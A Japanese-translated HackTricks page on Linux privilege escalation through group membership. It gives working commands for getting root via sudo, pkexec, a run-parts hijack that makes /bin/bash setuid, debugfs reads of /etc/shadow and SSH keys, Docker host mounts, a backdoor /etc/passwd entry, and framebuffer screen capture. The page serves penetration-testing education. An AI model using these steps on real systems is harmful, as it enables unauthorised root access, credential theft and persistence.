Interesting Groups - Linux Privesc

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

Sudo/Admin グループ

PE - メソッド 1

時々デフォルトで(またはあるソフトウェアが必要とするために)/etc/sudoers ファイルの中にこれらの行のいくつかを見つけることができます:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

これは、sudoまたはadminグループに属するユーザーはsudoとして何でも実行できることを意味します。

この場合、rootになるには単に実行するだけです:

sudo su

PE - 方法2

すべてのsuidバイナリを見つけ、バイナリPkexecがあるかどうかを確認します:

find / -perm -4000 2>/dev/null

もしバイナリpkexecがSUIDバイナリであることがわかり、sudoまたはadminに所属している場合、おそらくpkexecを使用してバイナリをsudoとして実行できるかもしれません。 これは通常、polkitポリシー内にあるグループです。このポリシーは基本的に、どのグループがpkexecを使用できるかを識別します。次のコマンドで確認してください:

cat /etc/polkit-1/localauthority.conf.d/*

以下では、どのグループがpkexecを実行することが許可されているか、そしていくつかのLinuxディストリビューションではsudoadminグループがデフォルトで表示されます。

rootになるためには、次のコマンドを実行できます:

pkexec "/bin/sh" #You will be prompted for your user password

もしpkexecを実行しようとして、このエラーが表示された場合:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

許可がないわけではなく、GUIなしで接続されていないためです。そして、この問題の回避策がここにあります: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903異なる2つのsshセッションが必要です:

session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
session2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel Group

時々デフォルトで/etc/sudoersファイルの中にこの行が見つかることがあります:

%wheel	ALL=(ALL:ALL) ALL

これは、wheelグループに属するユーザーはsudoとして何でも実行できることを意味します。

これが当てはまる場合、rootになるには単に実行するだけです:

sudo su

シャドウグループ

グループシャドウのユーザーは、/etc/shadowファイルを読むことができます。

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Staff Group

staff: ユーザーがルート権限を必要とせずにシステム(/usr/local)にローカルな変更を追加できるようにします(/usr/local/bin内の実行可能ファイルは任意のユーザーのPATH変数にあり、同じ名前の/binおよび/usr/bin内の実行可能ファイルを「上書き」する可能性があります)。監視/セキュリティに関連するグループである "adm" グループと比較してください。 [source]

Debianディストリビューションでは、$PATH変数は、特権ユーザーであろうとなかろうと、/usr/local/が最優先で実行されることを示しています。

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Interesting Groups for Linux Privilege Escalation

もし /usr/local 内のいくつかのプログラムを乗っ取ることができれば、root 権限を簡単に取得できます。

run-parts プログラムを乗っ取ることは root 権限を簡単に取得する方法です。なぜなら、ほとんどのプログラムが run-parts を実行するようになっているからです(crontab や ssh ログイン時など)。

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

または新しいsshセッションログイン時。

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

悪用

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

ディスクグループ

この特権はほぼルートアクセスと同等です。マシン内のすべてのデータにアクセスできます。

ファイル:/dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

注意してください。debugfsを使用してファイルを書き込むこともできます。たとえば、/tmp/asd1.txt/tmp/asd2.txtにコピーするには、次のようにします:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

しかし、root所有のファイルを書き込もうとすると(たとえば /etc/shadow/etc/passwd)、"Permission denied" エラーが発生します。

Video Group

コマンド w を使用すると、システムにログインしているユーザーを見つけることができ、次のような出力が表示されます:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1は、ユーザーyossiがマシンの端末に物理的にログインしていることを意味します。

videoグループは、画面出力を表示する権限を持っています。基本的に、画面を観察することができます。そのためには、画面上の現在のイメージを生データで取得し、画面が使用している解像度を取得する必要があります。画面データは/dev/fb0に保存することができ、この画面の解像度は/sys/class/graphics/fb0/virtual_sizeで見つけることができます。

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

ルートグループ

デフォルトでは、ルートグループのメンバーが特定のサービス構成ファイルやライブラリファイル、または特権を昇格させるのに使用できるその他の興味深いものを変更できる可能性があります...

ルートメンバーが変更できるファイルを確認します:

find / -group root -perm -g=w 2>/dev/null

Docker グループ

インスタンスのボリュームにホストマシンのルートファイルシステムをマウントすることができます。したがって、インスタンスが起動するとすぐにそのボリュームに chroot がロードされます。これにより、実質的にマシンで root 権限を取得できます。

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

lxc/lxd グループ

lxc/lxd グループ

Adm グループ

通常、adm グループのメンバー/var/log/ 内にあるログファイルを読む権限を持っています。 したがって、このグループ内のユーザーが侵害されている場合は、ログを確認する必要があります。

Auth グループ

OpenBSD内では、auth グループは通常、/etc/skey および /var/db/yubikey のフォルダに書き込む権限を持つことがあります。 これらの権限は、次のエクスプロイトを使用して特権を昇格するために悪用される可能性があります: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

Last updated